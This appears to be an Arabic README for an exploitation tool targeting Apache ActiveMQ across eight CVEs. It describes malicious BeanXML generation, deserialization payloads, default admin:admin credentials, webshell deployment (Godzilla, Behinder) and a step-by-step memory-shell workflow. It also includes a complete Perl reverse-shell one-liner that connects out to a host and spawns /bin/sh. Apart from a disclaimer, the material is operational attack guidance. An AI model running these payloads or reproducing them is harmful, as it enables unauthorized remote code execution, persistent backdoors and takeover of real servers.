
أداة استغلال الثغرات الشاملة لـ Apache ActiveMQ (CVE-2015-5254، CVE-2016-3088، CVE-2022-41678، CVE-2023-46604، CVE-2024-32114، CVE-2026-34197، CVE-2026-40466، CVE-2026-42588)
دعم الكشف والاستغلال لثغرات Apache ActiveMQ: CVE-2015-5254, CVE-2016-3088, CVE-2022-41678, CVE-2023-46604, CVE-2024-32114, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588

[!WARNING] هذه الأداة مخصصة للاستخدام في مجال الأمن والدراسة فقط. يتحمل المستخدم كامل المسؤولية القانونية والتبعات الناتجة عن استخدام هذه الأداة. تأكد من أن أفعالك تتوافق مع القوانين واللوائح المحلية. لا يتحمل المؤلف أي مسؤولية. إذا لم توافق، فلا تستخدم هذه الأداة.
ابدأ باستخدام JDK8، المنفذ الافتراضي لـ Openwire هو 61616، وأحيانًا قد لا يكون الهدف مفتوحًا. اسم المستخدم وكلمة المرور الافتراضية لـ Apache ActiveMQ هما admin:admin. يمكن لوحة إعدادات BeanXML إنشاء XML ضار لتنفيذ الأوامر المقابلة. إذا كانت لديك مشكلة، فلا تتردد في فتح Issue.
عند اكتشاف الثغرات، يمكن تعيين عنوان خادم XML الضار كـ dnslog، إذا تلقيت طلبًا، فقد يشير ذلك إلى وجود CVE-2023-46604، CVE-2026-34197، CVE-2026-40466، CVE-2026-42588.
قم بإنشاء بيانات إلغاء التسلسل باستخدام java-chains، يمكن استخدام URLDNS للتحقق من الثغرة.
عند عمل shell عكسي، يُفضل استخدام perl، لأن sh و bash قد لا يعملان أحيانًا.
/usr/bin/perl -e 'use Socket;$i="192.168.239.129";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

عند كتابة webshell مخصص، فإن كتابة webshell من نوع Behs كـ "B3hinder" قد تؤدي إلى خطأ 500، بينما تعمل "Godzilla" بشكل طبيعي. عند الاتصال باستخدام الأداة، تأكد من إضافة رأس المصادقة (authorization header).
بدءًا من الإصدار 1.4، لم يعد يتم تضمين وحدة توليد الذاكرة المؤقتة MemShellParty، وذلك لأن حزمة fatjar أصبحت ضخمة، وأيضًا لأن طريقة فك تشفير base64 التي يحتاجها SpringBeanXmlClassLoader ليست موحدة عبر إصدارات Java المختلفة، مما يضطر الأداة إلى إعادة اختراع العجلة. إذا كنت بحاجة إلى ذاكرة مؤقتة، فيمكنك الرجوع إلى العملية التالية لإنشاء XML:
أولاً، قم بإنشاء سلسلة base64 للذاكرة المؤقتة المناسبة باستخدام MemShellParty على https://party.mem.mk/ui

ثم انتقل إلى java-chains، وابحث عن Generate-OtherPayload، واختر BYTECODE مخصص.

اختر طريقة فك تشفير base64 وفقًا لإصدار JDK، الافتراضي هو طريقة decodeFromString، بينما يحتاج هدف CVE-2026-34197 في vulhub إلى اختيار java.util.Base64.
أخيرًا، أدخل سلسلة base64 للذاكرة المؤقتة وانقر على "توليد".

بالنسبة لأنواع Filter أو Listener أو Servlet، تحتاج إلى إضافة المسار /admin/، /api/، ورأس المصادقة عند عنوان الاتصال بالذاكرة المؤقتة، أما نوع handler فلا يحتاج إلى مسار أو رأس مصادقة.
شكر وتقدير